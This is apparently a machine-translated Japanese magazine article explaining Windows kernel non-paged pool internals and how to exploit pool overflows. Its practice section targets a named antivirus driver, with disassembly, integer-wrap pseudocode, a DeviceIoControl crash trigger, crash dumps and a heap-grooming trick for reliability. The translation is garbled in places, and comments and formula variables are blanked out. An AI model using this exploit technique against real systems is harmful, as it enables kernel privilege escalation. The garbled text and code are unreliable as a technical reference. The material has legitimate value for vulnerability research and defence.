カーネルプールのオーバーフロー:理論から実践へ

Windowsカーネルは、特にそれを悪用する完全な方法があり、権限の昇格につながる場合は特に、ハッカーにとって常にちょっとしたものでした。 過去数年間で、カーネルダイナミックメモリのオーバーフローに関連する脆弱性の数が劇的に増加したという事実を考慮して、私はこの分野に積極的に興味があり、驚いたことに、最終的には1つ以上の0dayバグに十分なほど多くの資料を蓄積しました。



視覚的な核シェルコード:)





問題の緊急度



メモリ管理テクノロジーは、コアの中で最も重要なものの1つです。 このメカニズムの脆弱性はおそらく最も恐ろしいものであり、同時に関連性があります。 これらは、安全なリンク解除など、さまざまな種類の保護を作成する主なインセンティブです。 この記事では、動的カーネルメモリオーバーフローの動作に関する理論的および実用的な側面を詳細に検討します。



最初に、このカーストの最も顕著な脆弱性を指摘します。

カーネルメモリ割り当ての概要



自尊心のあるオペレーティングシステムと同様に、Windows(またはカーネル)は、メモリの割り当て/解放のためのいくつかの機能を提供します。 仮想メモリは、ページと呼ばれるブロックで構成されています。 Intel x86アーキテクチャでは、ページサイズは4096バイトです。 ただし、ほとんどのメモリ割り当て要求はページサイズ未満です。 したがって、ExAllocatePoolWithTagやExFreePoolWithTagなどのカーネル関数は、後で割り当てるために未使用のメモリを予約します。 内部機能は、ページがアクティブになるたびにハードウェアと直接対話します。 これらの手順はすべて非常に複雑でデリケートなため、コアに実装されています。



ページプールと非ページプールの違い



システムコアメモリは2つの異なるプールに分割されます。 このフェイントは、最も一般的に使用されるメモリブロックを強調するために考案されました。 システムは、どのページが最も需要があり、どのページを一時的に破棄できるかを知る必要があります(論理的には正しいですか?)。 ページプールは、RAMに保存するか、ファイルシステムに強制的に入れることができます(スワップ)。 非ページプールは重要なタスクに使用され、RAMとIRQLの各レベルにのみ存在します。



pagefile.sysファイルにはページメモリが含まれています。 最近、彼はすでに署名されていないコードがVistaカーネルに挿入された攻撃の犠牲者でした。 説明したソリューションの中で、ページメモリを無効にすることが提案されました。 Joanna Rutkowskaは、そのような解決策を他のものと比較してより安全であると宣伝しましたが、結果は物理的な記憶のわずかな損失でした。 Microsoftはディスクへの直接アクセスを拒否しているため、Windowsカーネルの機能のPagedやNonPagedプールなどの重要性が確認されています。 この記事は非ページプールに焦点を当てて書かれています。ページプールは完全に異なるためです。 非ページプールは、ヒープのあまり一般的ではない実装と見なすことができます。 システムプールに関する詳細情報は、Microsoft Windows Internalsで入手できます。



非ページプールテーブル



割り当てアルゴリズムは、最も一般的に使用されるボリュームをすばやく分散する必要があります。 したがって、3つの異なるテーブルがあり、それぞれが特定の範囲のメモリを割り当てます。 ほとんどのメモリ管理アルゴリズムでこの構造を見つけました。 デバイスからメモリブロックを読み取るには時間がかかるため、Windowsアルゴリズムでは、応答速度とメモリの最適な割り当てのバランスが取れています。 後で割り当てるためにメモリブロックを保存すると、応答時間が短縮されます。 一方、過度のメモリ冗長性はパフォーマンスに影響を与える可能性があります。

テーブルは、メモリブロックを格納するための別の方法です。 各テーブルとその場所を見ていきます。



非ページルックアサイド -各プロセッサに割り当てられ、256バイト以下のメモリサイズで動作するテーブル。 各プロセッサには、プロセッサのオーバーヘッド(IRQL、GDT、IDT)を格納する制御レジスタ(PCR)があります。 レジストリ拡張は制御領域(PCRB)と呼ばれ、ルックアサイドテーブルが含まれています。 次のwindbgダンプは、このようなテーブルの構造を表しています。



windbgの構造のダンプ

windbgの構造のダンプ


ルックアサイドテーブルは、他のタイプに比べて最速の読み取りメモリブロックを提供します。 このような最適化では、遅延時間が非常に重要であり、単一リンクリスト(Lookasideで実装)は、二重リンクリストよりもはるかに効率的です。 ExInterlockedPopEntrySList関数は、ハードウェアの「ロック」命令を使用してリストからエントリを選択するために使用されます。 PPNPagedLookasideListは、前述のLookasideテーブルです。 これには、PとLの2つのLookasideリストが含まれています。GENERAL_LOOKASIDE構造の「depth」フィールドは、ListHeadに含めることができるレコード数を決定します。 システムは、さまざまなカウンターを使用してこのパラメーターを定期的に更新します。 更新アルゴリズムはプロセッサ番号に基づいており、PとLで同じではありません。Pは非常に小さなブロックに最適化されているため、Pリストでは「深さ」フィールドはLリストよりも頻繁に更新されます。



2番目の表は、プロセッサーの数とシステムがプロセッサーを制御する方法によって異なります。 ボリュームが4080バイト以下の場合、またはlookaside検索で結果が返されなかった場合、このメモリ割り当て方法が使用されます。 ターゲット表が変更されても、同じPOOL_DESCRIPTOR構造を持ちます。 シングルプロセッサの場合、PoolVector変数を使用してNonPagedPoolDescriptorポインターを読み取ります。 多くのプロセッサの場合、ExpNonPagedPoolDescriptorテーブルには、プールの説明を含む16のスロットが含まれます。 各プロセッサーのPCRBは、KNODE構造を示します。 ノードは複数のプロセッサに関連付けることができ、ExpNonPagedPoolDescriptorのリストとして使用される「色」フィールドが含まれます。 次の図は、このアルゴリズムを示しています。



シングルプロセップサルプルの説明

シングルプロセッサプールの説明


マルチプロセッサプールの説明

マルチプロセッサプールの説明


このテーブルが複数のプロセッサで使用されている場合、カーネルはグローバル変数ExpNumberOfNonPagedPoolsを定義します。 プロセッサの数を含める必要があります。



次のwindbgダンプは、POOL_DESCRIPTOR構造を表示します。



構造POOL_DESCRIPTOR

構造POOL_DESCRIPTOR


スピンロックキューは同期を実装します。 HALライブラリの一部は、プール記述子の競合を防ぐために使用されます。 この手順では、1つのプロセッサと1つのスレッドのみがプール記述子から同時書き込みアクセスを受信できます。 HALライブラリはアーキテクチャによって異なります。 デフォルトのプール記述子では、メインのNonPagedスピンロックがロックされています(LockQueueNonPagedPoolLock)。 また、ロックされていない場合は、別のスピンロックキューが作成されます。



3番目の最後のテーブルは、プロセッサが4080バイトを超えるメモリボリュームを処理するために使用されます。 MmNonPagedPoolFreeListHeadは、残りのテーブルのメモリが不足している場合にも使用されます。 このテーブルへのアクセスは、LockQueueNonPagedPoolLockとも呼ばれるNonPagedスピンロックによってメインキューにアクセスするときに発生します。



小さいメモリブロックを解放する場合、ExFreePoolWithTagはそれを前の空きブロックと次の空きブロックと組み合わせます。 これにより、ページサイズ以上のブロックを作成できます。 この場合、ブロックはMmNonPagedPoolFreeListHeadテーブルに追加されます。



メモリの割り当てと解放のアルゴリズム



OSの異なるバージョンでのカーネルメモリの割り当てはほとんど変更されていませんが、このアルゴリズムはユーザープロセスのヒープと同じくらい複雑です。 記事のこの部分では、メモリの割り当ておよび割り当て解除の手順におけるテーブルの動作の基本を説明します。 同期メカニズムなどの多くの詳細は、意図的に省略されます。 これらのアルゴリズムは、方法を説明し、カーネルのメモリ割り当ての基本を理解するのに役立ちます。



非ページプールの分散アルゴリズム(ExAllocatePoolWithTag):



視覚的なメモリ割り当てアルゴリズム

視覚的なメモリ割り当てアルゴリズム


非ページプール解放アルゴリズム(ExFreePoolWithTag):

がたった、メモリ割り当てアルゴリズム

したがって、メモリ割り当てアルゴリズム




死のブルースクリーンから欲望の充足まで



動的メモリがオーバーフローすると、他の割り当てられたブロックのメタデータは通常上書きされ、主にいくつかのBugCheck(または単にBSOD)につながります。



BAD_POOL_HEADER :次のチャンクのPreviousSizeが現在のチャンクのBlockSizeと等しくない場合、ExFreePoolWithTagコードで呼び出されます。



BAD_POOL_HEADER (19)

The pool is already corrupt at the time of the current request. This may or may not be due to the caller. The internal pool links must be walked to figure out a possible cause of the problem, and then special pool applied to the suspect tags or the driver verifier to a suspect driver.

Arguments:

Arg1: 00000020, a pool block header size is corrupt.

Arg2: 812c1000, The pool entry we were looking for within the page. <----

Arg3: 812c1fc8, The next pool entry. <---- ,

Arg4: 0bf90000, (reserved)








DRIVER_CORRUPTED_EXPOOL:リンク解除中にページ違反例外が発生した場合、ExFreePoolWithTagコードで呼び出されます。



DRIVER_CORRUPTED_EXPOOL (c5)

An attempt was made to access a pageable (or completely invalid) address at an

interrupt request level (IRQL) that is too high. This is caused by drivers that have corrupted the system pool. Run the driver verifier against any new (or suspect) drivers, and if that doesn't turn up the culprit, then use gflags to enable special pool.

Arguments:

Arg1: 43434343, memory referenced <----- Blink'a

Arg2: 00000002, IRQL

Arg3: 00000001, value 0 = read operation, 1 = write operation

Arg4: 80544d06, address which referenced memory








BAD_POOL_CALLER:リリースしようとしているチャンクが既にリリースされている場合、ExFreePoolWithTagコードで呼び出されます。



チャンクのヘッダー(メタデータ)についてさらに詳しく考えてみましょう。



 //   typedef struct _POOL_HEADER { union { struct { USHORT PreviousSize : 9; USHORT PoolIndex : 7; USHORT BlockSize : 9; USHORT PoolType : 7; } ULONG32 Ulong1; } union { struct _EPROCESS* ProcessBilled; ULONG PoolTag; struct { USHORT AllocatorBackTraceIndex; USHORT PoolTagHash; } } } POOL_HEADER, *POOL_HEADER; // sizeof(POOL_HEADER) == 8
      
      





PreviousSize、BlockSizeの値は、次のように計算されます。



 PreviousSize = (____ + sizeof(POOL_HEADER)) / 8 BlockSize = (___ + sizeof(POOL_HEADER)) / 8
      
      







PoolTypeの値がゼロの場合、そのようなチャンクは解放され、nt!_LIST_ENTRY構造がヘッダーに続きます。



kd> dt nt!_LIST_ENTRY

+0x000 Flink : Ptr32 _LIST_ENTRY

+0x004 Blink : Ptr32 _LIST_ENTRY








運営



チャンク解放アルゴリズムは、解放されるチャンクの後に空きチャンクがある場合にマージが発生するように機能します。つまり、2つの空きチャンクの1つが接着されます。 これは、単純なリンク解除操作によって行われます。



二重リンクリストからエントリエントリを削除する



PLIST_ENTRY b,f;

f=entry->Flink;

b=entry->Blink;

b->Flink=f;

f->Blink=b;








これにより、制御されたアドレスで4バイトが上書きされます。



*()=

*(+4)=








実装したアルゴリズムの簡単なスキーム

実装したアルゴリズムの簡単なスキーム




練習します!



十分な知識があれば、単一のアンチウイルス製品のドライバーの脆弱性を考慮してください。



.text:00016330 mov cx, [eax] ; eax

.text:00016333 inc eax

.text:00016334 inc eax

.text:00016335 test cx, cx

.text:00016338 jnz short loc_16330

.text:0001633A sub eax, edx

.text:0001633C sar eax, 1

.text:0001633E lea eax, [eax+eax+50h] ; UNICODE + 0x50

.text:00016342 movzx edi, ax ; , WORD

.text:00016345

.text:00016345 loc_16345:;

.text:00016345 movzx eax, di

.text:00016348 push ebx

.text:00016349 xor ebx, ebx

.text:0001634B cmp eax, ebx

.text:0001634D jz short loc_16359

.text:0001634F push eax; -

.text:00016350 push ebx; (NonPaged)

.text:00016351 call ds:ExAllocatePool ; chunk'a

.text:00016357 mov ebx, eax

[..]

.text:000163A6 movzx esi, word ptr [edx]

.text:000163A9 mov [eax+edx], si ;

.text:000163AD inc edx

.text:000163AE inc edx

.text:000163AF test si, si

[..]

.text:000163F5 push ebx; P

.text:000163F6 call sub_12A43

.text:00012A43 sub_12A43 proc near; CODE XREF: sub_12C9A+5Cp

.text:00012A43; sub_12C9A+79p ...

.text:00012A43

.text:00012A43 P = dword ptr 4

.text:00012A43

.text:00012A43 cmp esp+P], 0

.text:00012A48 jz short locret_12A56

.text:00012A4A push 0; Tag

.text:00012A4C push [esp+4+P]; P

.text:00012A50 call ds:ExFreePoolWithTag ; , write4








Cのような擬似コード

 len = wsclen(attacker_controlled); total_len = (2*len + 0x50) ; size_2_alloc = (WORD)total_len; // integer wrap!!! mem = ExAllocatePool(size_2_alloc); .... wcscpy(mem, attacker_controlled);//     ... ExFreePool(mem); //  ,   ,   ,   ,      ,     ,    ring0-shellcode
      
      





コードからわかるように、この脆弱性は整数型の変換に関連しており、ユニコード文字列のサイズが正しく計算されないという事実につながります。 0xffffバイトを超えるUnicode文字列を持つバッファーをドライバーに渡すと、これらすべてがオーバーフローにつながります。



BSoDを再生する簡単なコード

 hDevice = CreateFileA("\\\\.\\KmxSbx", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, NULL); inbuff = (char *)malloc(0x1C000); if(!inbuff){ printf("malloc failed!\n"); return 0; } memset(inbuff, 'A',0x1C000-1); memset(buff+0x11032, 0x00, 2);//end of unicode, size to allocate 0xff0 ioctl = 0x88000080; first_dword = 0x400; memcpy(buff, &first_dword, sizeof(DWORD)); DeviceIoControl(hDevice, ioctl, (LPVOID)inbuff, 0x1C000, (LPVOID)inbuff, 0x100, &cb,NULL);
      
      





この脆弱性の悪用は、一見思えるほど単純ではありません。 ここにはいくつかの制限があります。つまり、オーバーフロー(チャンクの境界を超える書き込み)は巨大(0xffff以上)であり、ExFreePoolWithTagが実行される前にブルースクリーンにつながる可能性があります(したがって、マージ中にポインターを置き換えます)。



PAGE_FAULT_IN_NONPAGED_AREA (50)

Invalid system memory was referenced. This cannot be protected by try-except,

it must be protected by a Probe. Typically the address is just plain bad or it

is pointing at freed memory.

Arguments:

Arg1: fe8aa000, memory referenced.

Arg2: 00000001, value 0 = read operation, 1 = write operation.

Arg3: f0def3a9, If non-zero, the instruction address which referenced the bad memory address.

Arg4: 00000000, (reserved)

eax=00029fa8 ebx=fe8a7008 ecx=00000008 edx=fe880058 esi=00004141 edi=fe87d094

eip=f0def3a9 esp=f0011b78 ebp=f0011bac iopl=0 nv up ei pl nz na pe nc

cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206

KmxSbx+0x63a9:

f0def3a9 66893410 mov word ptr [eax+edx],si ds:0023:fe8aa000=???? <---- ,








メモリを書き換えるとき、核構造へのポインタであるデータを書き換えることができます。これは、最も予期しない結果(次のBSoD)につながる可能性があります。



この脆弱性の運用効率を改善するために、次のトリックを使用します:特定の長さ(この例では0xff0)のブロックの数が何らかの確率Nで割り当てられ、解放されるようにパラメーターでDeviceIoControlを呼び出すNスレッドを作成します-これはチャンスを与えます、オーバーフロー時には、ページフォールト(PAGE_FAULT_IN_NONPAGED_AREA)のようなブルー​​スクリーンは表示されません。 DVDで詳細なコメントが記載された推奨コードサンプルを探してください。



視覚的な核シェルコード:)

視覚的な核シェルコード:)


結論



別れの話ですが、インターネット上ではカーネルプールオーバーフローの操作に関する情報はほとんどありません。 また、公開されているエクスプロイトがないことを混乱させ、カーネルのメモリオーバーフローを悪用するのは非常に難しいという誤解を招きます。可能であれば、残虐行為の最大の結果は通常のBSoDです。



この記事では、著者は、創意工夫を結びつけることにより、このような脆弱性の悪用方法の安定性を改善できることを実際の例で示しようとしました。

将来の記事では、カーネルプールオーバーフローの操作のより複雑な側面について説明します。これは、もちろん存在し、翼で待機しています:)。 お楽しみに!



DVDまたはこちらで詳細なコメントを含む推奨コードサンプルを探してください。


関連リンク


Hacker Magazine、 12月(12)143

ニキータタラカノフ(CISS研究チーム)

アレクサンダー・バジャニュク



ハッカーを購読する




All Articles